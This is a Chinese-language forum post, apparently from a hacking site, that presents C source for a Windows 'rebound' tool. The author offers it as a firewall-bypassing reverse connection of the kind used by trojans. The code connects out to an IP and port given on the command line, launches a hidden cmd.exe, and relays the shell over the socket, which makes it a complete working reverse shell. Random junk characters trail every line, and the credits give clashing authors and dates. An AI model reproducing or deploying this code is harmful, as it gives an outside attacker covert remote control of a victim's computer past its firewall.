这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =78y*`L
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/* ============================== TgcCR:eL=
Rebound port in Windows NT 1'hpg>U
By wind,2006/7 wo&IVy@s$
===============================*/ "o--MBq4
#include (f&V 7n
#include +PYV-@q
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HHN nh
#pragma comment(lib,"wsock32.lib") Nf4@m|#
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void OutputShell(); Q,.dIPla
SOCKET sClient; @wXYza0|d
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =#2%[kG q
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void main(int argc,char **argv) - k0a((?
{ D\G 8p;
WSADATA stWsaData; =_OJ
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int nRet; z"<S$sDh
SOCKADDR_IN stSaiClient,stSaiServer; ;rf{T[i
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if(argc != 3) Sqp91[,
{ L[zTT\a
printf("Useage:\n\rRebound DestIP DestPort\n"); efyEzL
return; >(2;(TbQm0
} q}_8iDO6
OkRb3}
WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PlCw,=K 8f
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stSaiClient.sin_family = AF_INET; Lj /^cx
stSaiClient.sin_port = htons(0); W(qK?"s2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n!zB+hW
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N n_b
{ 9vi+[3s/=;
printf("Bind Socket Failed!\n"); }D1?Z7p
return; HxR5&o
} F~v0CBcAL
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stSaiServer.sin_family = AF_INET; p_xJKQS
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %5L~&W}^"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l%V+]skS
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ks3YrKk;p
{ "U9e)a0v
printf("Connect Error!"); ~e|E5[-i
return; <YCjo[(~
} =8vwaJ
OutputShell(); *[>{9V
} +v%+E{F$+
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void OutputShell() nVpDjUpN
{ cm!vuoB~~
char szBuff[1024]; \`8$bpW[nS
SECURITY_ATTRIBUTES stSecurityAttributes; {dh@|BzsbH
OSVERSIONINFO stOsversionInfo; e<DcuF<ZS
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?RE"<L
STARTUPINFO stStartupInfo; -Nr*na^H9#
char *szShell; Z%sTj6Th
PROCESS_INFORMATION stProcessInformation; BD$Lf,_
unsigned long lBytesRead; (;Bh7Ft
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UN<$F yb
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U*EBH
stSecurityAttributes.lpSecurityDescriptor = 0; fG?a"6~
stSecurityAttributes.bInheritHandle = TRUE; a'q&[08
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4U$M0 =
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3? k<e
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,-n_(U
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X&Ospl@H
stStartupInfo.wShowWindow = SW_HIDE; cr18`xU
stStartupInfo.hStdInput = hReadPipe; B%x?VOdBE
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; FrRUAoFO
ocS}4.a@
GetVersionEx(&stOsversionInfo); HKC&grp
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switch(stOsversionInfo.dwPlatformId) v/7^v}[<
{ Rto/-I0l
case 1: yJw.z#bB#
szShell = "command.com"; &?j\=%
break; M?m@o1\;W
default: do l8O
szShell = "cmd.exe"; t ,EMyZ
break; Y 6jgAq
} i:&$I=
e=!sMWx6
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6/0bis
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send(sClient,szMsg,77,0); +wEsfYW
while(1) Tj2pEOu
{ ^%1u3
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #/t+h#jG
if(lBytesRead) *mw *z|-^V
{ '~{kR=+
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V_4=0(
send(sClient,szBuff,lBytesRead,0); MHCwjo"
} CQ{pv3)
else /BS yanro
{ M3fTUCR
lBytesRead=recv(sClient,szBuff,1024,0); ]<;y_
if(lBytesRead<=0) break; d|sf2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FbCuXS=+`
} 02[*b
} TD/ 4lL~(x
[.;I}
return; #8WHIDS>
}